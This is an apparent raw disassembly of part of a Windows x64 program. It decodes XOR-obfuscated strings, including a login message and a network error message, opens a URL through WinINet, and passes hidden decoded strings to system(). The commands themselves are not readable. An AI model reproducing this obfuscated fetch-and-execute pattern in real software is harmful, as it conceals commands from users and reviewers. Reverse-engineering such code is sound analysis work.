imul rcx, rcx, 4
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ad], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ae], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16af], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b0], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b1], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b2], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b3], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b4], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b5], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b6], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b7], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b8], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b9], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ba], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16bb], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16bc], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16bd], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16be], al
lea rax, [rsp + 0x16bf]
lea rax, [rsp + 0x16bf]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x270], 0
jmp 0x140048909
mov rax, qword [rsp + 0x270]
inc rax
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 0x16
jae 0x140048973
mov rax, qword [rsp + 0x270]
lea rax, [rsp + rax + 0x16a9]
mov qword [rsp + 0x8a0], rax
mov rax, qword [rsp + 0x8a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16a8]
xor eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x270]
lea rax, [rsp + rax + 0x16a9]
mov qword [rsp + 0x8a8], rax
mov rax, qword [rsp + 0x8a8]
mov cl, byte [rsp + 0xa1]
mov byte [rax], cl
jmp 0x1400488f6
mov eax, 0x16
imul rax, rax, 1
lea rax, [rsp + rax + 0x16a9]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x8b0]
mov byte [rax], 0
lea rax, [rsp + 0x16a9]
mov qword [rsp + 0x8b8], rax
mov rdx, qword [rsp + 0x8b8]
lea rcx, [rsp + 0x1b10]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1b10]
call fcn.140029050
nop
lea rcx, [rsp + 0x1b10]
call fcn.140005314
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx ecx, word [rsp + 0xe4]
call fcn.1400290ec
mov byte [rsp + 0x14c0], 0x55
movsx eax, byte [rsp + 0x14c0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d39e4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14c1], al
movsx eax, byte [rsp + 0x14c0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d39e4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14c2], al
movsx eax, byte [rsp + 0x14c0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d39e4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14c3], al
lea rax, [rsp + 0x14c4]
lea rax, [rsp + 0x14c4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x278], 0
jmp 0x140048aaf
mov rax, qword [rsp + 0x278]
inc rax
mov qword [rsp + 0x278], rax
cmp qword [rsp + 0x278], 3
jae 0x140048b19
mov rax, qword [rsp + 0x278]
lea rax, [rsp + rax + 0x14c1]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rsp + 0x8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c0]
xor eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x278]
lea rax, [rsp + rax + 0x14c1]
mov qword [rsp + 0x8c8], rax
mov rax, qword [rsp + 0x8c8]
mov cl, byte [rsp + 0xa2]
mov byte [rax], cl
jmp 0x140048a9c
mov eax, 3
imul rax, rax, 1
lea rax, [rsp + rax + 0x14c1]
mov qword [rsp + 0x8d0], rax
mov rax, qword [rsp + 0x8d0]
mov byte [rax], 0
lea rax, [rsp + 0x14c1]
mov qword [rsp + 0x8d8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x8d8]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x3f8], rax
cmp qword [rsp + 0x3f8], 0
jne 0x14004975c
mov byte [rsp + 0x1588], 0x36
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1589], al
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158a], al
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158b], al
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158c], al
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158d], al
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158e], al
movsx eax, byte [rsp + 0x1588]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1400d45f0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158f], al
lea rax, [rsp + 0x1590]
lea rax, [rsp + 0x1590]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x280], 0
jmp 0x140048cdb
mov rax, qword [rsp + 0x280]
inc rax
mov qword [rsp + 0x280], rax
cmp qword [rsp + 0x280], 7
jae 0x140048d45
mov rax, qword [rsp + 0x280]
lea rax, [rsp + rax + 0x1589]
mov qword [rsp + 0x8e0], rax
mov rax, qword [rsp + 0x8e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1588]
xor eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x280]
lea rax, [rsp + rax + 0x1589]
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x8e8]
mov cl, byte [rsp + 0xa3]
mov byte [rax], cl
jmp 0x140048cc8
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1589]
mov qword [rsp + 0x8f0], rax
mov rax, qword [rsp + 0x8f0]
mov byte [rax], 0
lea rax, [rsp + 0x1589]
mov qword [rsp + 0x8f8], rax
mov rcx, qword [rsp + 0x8f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x1860], 0x56
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1861], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1862], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1863], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1864], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1865], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1866], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1867], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1868], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1869], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186a], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186b], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186c], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186d], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186e], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x186f], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1870], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1871], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1872], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1873], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1874], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1875], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1876], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1877], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1878], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1879], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187a], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187b], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187c], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187d], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187e], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x187f], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1880], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1881], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1882], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1883], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1884], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1885], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1886], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1887], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1888], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1889], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188a], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188b], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188c], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188d], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188e], al
movsx eax, byte [rsp + 0x1860]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, [0x1400d45f8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x188f], al
lea rax, [rsp + 0x1890]
lea rax, [rsp + 0x1890]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x288], 0
jmp 0x1400494f5
mov rax, qword [rsp + 0x288]
inc rax
mov qword [rsp + 0x288], rax
cmp qword [rsp + 0x288], 0x2f
jae 0x14004955f
mov rax, qword [rsp + 0x288]
lea rax, [rsp + rax + 0x1861]
mov qword [rsp + 0x900], rax
mov rax, qword [rsp + 0x900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1860]
xor eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x288]
lea rax, [rsp + rax + 0x1861]
mov qword [rsp + 0x908], rax
mov rax, qword [rsp + 0x908]
mov cl, byte [rsp + 0xa4]
mov byte [rax], cl
jmp 0x1400494e2
mov eax, 0x2f
imul rax, rax, 1
lea rax, [rsp + rax + 0x1861]
mov qword [rsp + 0x910], rax
mov rax, qword [rsp + 0x910]
mov byte [rax], 0
lea rax, [rsp + 0x1861]
mov qword [rsp + 0x918], rax
mov rcx, qword [rsp + 0x918]
call fcn.140005fa4
mov byte [rsp + 0x14d8], 0x61
movsx eax, byte [rsp + 0x14d8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3c3c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14d9], al
movsx eax, byte [rsp + 0x14d8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3c3c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14da], al
movsx eax, byte [rsp + 0x14d8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3c3c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14db], al
movsx eax, byte [rsp + 0x14d8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d3c3c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14dc], al
movsx eax, byte [rsp + 0x14d8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d3c3c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14dd], al
lea rax, [rsp + 0x14de]
lea rax, [rsp + 0x14de]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x290], 0
jmp 0x1400496a8
mov rax, qword [rsp + 0x290]
inc rax
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x290], 5
jae 0x140049712
mov rax, qword [rsp + 0x290]
lea rax, [rsp + rax + 0x14d9]
mov qword [rsp + 0x920], rax
mov rax, qword [rsp + 0x920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d8]
xor eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x290]
lea rax, [rsp + rax + 0x14d9]
mov qword [rsp + 0x928], rax
mov rax, qword [rsp + 0x928]
mov cl, byte [rsp + 0xa5]
mov byte [rax], cl
jmp 0x140049695
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x14d9]
mov qword [rsp + 0x930], rax
mov rax, qword [rsp + 0x930]
mov byte [rax], 0
lea rax, [rsp + 0x14d9]
mov qword [rsp + 0x938], rax
mov rcx, qword [rsp + 0x938]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, [rsp + 0x1ab0]
call fcn.140004df4
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x3f8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x420], rax
cmp qword [rsp + 0x420], 0
jne 0x14004a38d
mov rcx, qword [rsp + 0x3f8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [rsp + 0x1538], 0x40
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1539], al
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153a], al
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153b], al
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153c], al
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153d], al
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153e], al
movsx eax, byte [rsp + 0x1538]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1400d4628]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153f], al
lea rax, [rsp + 0x1540]
lea rax, [rsp + 0x1540]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x298], 0
jmp 0x14004990c
mov rax, qword [rsp + 0x298]
inc rax
mov qword [rsp + 0x298], rax
cmp qword [rsp + 0x298], 7
jae 0x140049976
mov rax, qword [rsp + 0x298]
lea rax, [rsp + rax + 0x1539]
mov qword [rsp + 0x940], rax
mov rax, qword [rsp + 0x940]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1538]
xor eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0x298]
lea rax, [rsp + rax + 0x1539]
mov qword [rsp + 0x948], rax
mov rax, qword [rsp + 0x948]
mov cl, byte [rsp + 0xa6]
mov byte [rax], cl
jmp 0x1400498f9
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1539]
mov qword [rsp + 0x950], rax
mov rax, qword [rsp + 0x950]
mov byte [rax], 0
lea rax, [rsp + 0x1539]
mov qword [rsp + 0x958], rax
mov rcx, qword [rsp + 0x958]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x1898], 0x14
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1899], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189a], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189b], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189c], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189d], al
movsx eax, byte [rsp + 0x1898]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n___ERROR__Check_your_internet_connection__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x189e], al
movsx eax, byte [rsp + 0x1898]
